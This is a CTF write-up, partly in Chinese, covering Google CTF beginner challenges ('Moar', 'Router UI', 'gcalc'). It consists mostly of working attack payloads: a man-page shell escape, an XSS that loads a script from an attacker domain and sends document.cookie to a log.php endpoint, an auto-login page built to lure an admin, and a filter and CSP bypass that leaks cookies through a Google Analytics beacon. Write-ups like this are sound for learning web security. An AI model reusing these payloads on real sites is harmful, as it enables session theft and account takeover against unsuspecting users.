Beginner’s Quest - Moar
When we netcat to the server we can see man socat output only. But man allows us to execute commands. All we need to do is to type !command. Running !ls -la /home/moar reveals some secret file disable_dmz.sh. Let’s cat it.
man命令允许执行命令
1 | !ls /home/moar |
1 | Manual page socat(1) line 1 (press h for help or q to quit)!cat /home/moar/disable_dmz.sh |
Beginner’s Router UI
1 | <body class="text-center"> |
payload;
1 | login:<script src=https: |
结果:
1 | <script src=https://YOURDOMAIN/exploit.js></script> |
由于管理员只会查看邮件,所以需要先构建一个能够自动登录的website.html。
website.html:
1 | <!DOCTYPE HTML> |
这样,当管理员点击该页面之后,就会自动登录,从而执行我们的payload。
exploit.js:
1 | window.location.href='https://[YOURDOMAIN]/log.php?'+document.cookie; |
gcalc
app.js
1 | var e = "function" == typeof Object.assign ? Object.assign : function(a, b) { |
漏洞点:
1 | function p(a, b) { |
该函数用户处理参数a,b对应我们的参数expr, vars。只要能够绕过该过滤即可实现XSS。
有问题的paylaod:
1 | // alert(1) // Remove whitespaces by yourself |
如果没有String(a).toLowerCase()
,那么该payload可行。
基础paylaod:
1 | https://gcalc2.web.ctfcompetition.com/?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={"pi":3.14159,"ans":0,"alert(1)":0} |
使用上边的paylaod,我们可以执行alert()。
接下来就是绕过CSP。
CSP of /:
1 | Content-Security-Policy: default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/ |
CSP of /static/calc.html:
1 | Content-Security-Policy: default-src 'self'; frame-ancestors https://gcalc2.web.ctfcompetition.com/; font-src https://fonts.gstatic.com; style-src 'self' https://*.googleapis.com 'unsafe-inline'; script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com; child-src https://www.google.com/recaptcha/; img-src https://www.google-analytics.com; |
我们看到img-src https://www.google-analytics.com;
那么就可以通过google-analystic获取cookie。
首先申请google-analystic,得到tid=UA-121623607-1
有效payload:
1 | https://gcalc2.web.ctfcompetition.com/?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={%22pi%22:3.14159,%22ans%22:0,%20%22x=document.createElement(%27img%27);x.src=%27https://www.google-analytics.com/collect?v=1%26tid=UA-121623607-1%26cid=0000000000%26t=event%26ec=email%26ea=hao123%27;document.querySelector(%27body%27).append(x)%22:0} |
最终payload:
1 | https://gcalc2.web.ctfcompetition.com/?expr=(1).constructor.constructor(/1/.exec(1).keys(1).constructor.keys(vars).pop())()&vars={%22pi%22:3.14159,%22ans%22:0,%20%22x=document.createElement(%27img%27);x.src=%27https://www.google-analytics.com/collect?v=1%26tid=UA-121623607-1%26cid=0000000000%26t=event%26ec=email%26ea=12344%27%2bencodeURIComponent(document.cookie);document.querySelector(%27body%27).append(x)%22:0} |
google-anaystic-console:
1 | https://analytics.google.com/analytics/web/?hl=zh-CN&pli=1#/realtime/rt-event/a121623607w179580825p177873825/metric.type=5/ |